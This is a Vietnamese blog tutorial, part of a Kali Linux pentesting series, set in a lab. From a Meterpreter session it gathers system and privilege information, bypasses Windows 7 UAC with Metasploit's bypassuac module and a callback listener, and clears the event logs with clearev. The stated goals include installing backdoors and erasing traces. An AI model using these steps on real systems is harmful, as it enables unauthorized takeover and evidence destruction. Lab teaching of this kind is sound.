Sử dụng Kali Linux để pentest phần 5: Nâng quyền và leo thang bậc quyền

Nâng quyền làm gì?

Nâng quyền, leo thang bậc quyền hay chiếm quyền root là một bước cần thiết sau khi khai thác xâm nhập được vào mục tiêu. Việc này nhằm để kiểm soát được toàn bộ hệ thống của nạn nhân rồi từ đó ta có thể thực hiện thay đổi dữ liệu, cài backdoor, xóa dấu vết mà không bị giới hạn bởi quyền. Đối với các máy tính Linux thì quyền cao nhất chính là quyền root, còn Windows chính là quyền Administrator.

Môi trường thực hành:

Các máy ảo cần thiết để thực hành bao gồm:

  • Kali Linux 2016 - amd64 (giả sử có địa chỉ IP là 172.16.100.3).
  • Windows 7 SP1 - 32 bit (giả sử có địa chỉ IP là 172.16.100.5).
Nếu chưa có hệ thống lab thì bạn có thể xem lại bài một - hướng dẫn dựng lab thực hành để chuẩn bị.

Trường hợp giả định:

Sau khi ta có một session Meterpreter đang chạy trên mục tiêu, và việc tiếp theo ta cần làm là kiểm tra phiên bản hệ điều hành, cấu hình hệ thống và quyền hạn hiện có, và thực hành nâng quyền lên Administrator.
Vượt qua UAC và chiếm quyền Administrator.


Bắt đầu thực hành:

Kiểm tra phiên bản hệ điều hành:
meterpreter > sysinfo
Lệnh sysinfo
Lệnh sysinfo
Như ở trên ta thấy tên máy tính, phiên bản hệ điều hành, cấu trúc hệ điều hành, domain, ngôn ngữ hệ thống, và số lượng người dùng đang đăng nhập.
Tiếp theo là xem quyền hiện có và thiếp lập UAC có đang bật không? Ta có thể sử dụng post/windows/gather/win_privs từ msf > bằng lệnh useexploit, tuy nhiên phải thiết lập tham số SESSION.
Ở đây, ta có thể chạy thẳng trên meterpreter > bằng lệnh run như sau:
meterpreter > run post/windows/gather/win_privs
post/windows/gather/win_privs
post/windows/gather/win_privs
Kết quả cho ta thấy được session đang không được chạy bằng quyền Administrator, không phải System và thiết lập UAC đang bật.
Có thể bạn đã biết (hoặc chưa) thì để chạy một ứng dụng với quyền Administrator trên Windows bạn phải vượt qua một bước xác nhận của UAC (User Account Control), vậy thì việc trước mắt ta cần phải làm đó là tắt UAC đi.
Tạm thời tắt meterpreter > đi, quay lại với msf >:
meterpreter > background
và hãy tìm kiếm một cái gì đó liên quan đến UAC mà ta có thể sử dụng được nào.
msf > search uac
search uac
search uac
Kết quả cho ta thấy chúng ta có 4 exploit dùng để bypass (vượt qua) bảo vệ của UAC, vậy thì hãy sử dụng nó thử xem nào. Mình sẽ chọn exploit/windows/local/bypassuac cơ bản nhất để thử trước, bạn có thể sử dụng lệnh info để xem thông tin của exploit trước khi lựa chọn sử dụng:
msf > use exploit/windows/local/bypassuac
Tiếp theo là xem và thiết lập các tham số. Rồi cho chạy exploit đó:
msf exploit(bypassuac) > show options
msf exploit(bypassuac) > set SESSION <ID>
msf exploit(bypassuac) > exploit
Hãy thay <ID> lại thành ID của một session đang chạy.

Nếu kết quả thu được báo lỗi không thành công vì không thể nhận dữ liệu trên port 4444.
Vậy thì hãy thiết lập lại tham số LPORT bằng một giá trị khác và cho chạy lại. Ví dụ:
msf exploit(bypassuac) > set LHOST 172.16.100.3
msf exploit(bypassuac) > set LPORT 8080
msf exploit(bypassuac) > exploit
chạy exploit
chạy exploit
Lần này đã chạy thành công, ta hãy kiểm tra quyền hạn lại vẫn bằng post/windows/gather/win_privs trực tiếp trên meterpreter > session mới vừa được mở ra.
post/windows/gather/win_privs
post/windows/gather/win_privs
Lần này thì giá trị Is Admin là true, ta hãy thử dùng một vài lệnh mà cần quyền Administrator xem nào, ví dụ lệnh clearev dùng để xóa Event Log:
meterpreter > clearev
clear event log
clear event log
Vậy là ta đã thành công!!!

Lời kết:

Xin lỗi các bạn vì mình lại phải điều chỉnh lại nội dung một lần nữa, đây sẽ là nội dung chính thức của phần 5 thuộc series Hacking cơ bản với Kali Linux.
Nhất định ở phần sau ta sẽ bước vào Infomation Gathering - Thu thập thông tin, một lần nữa xin lỗi các bạn!

Post a Comment

0 Comments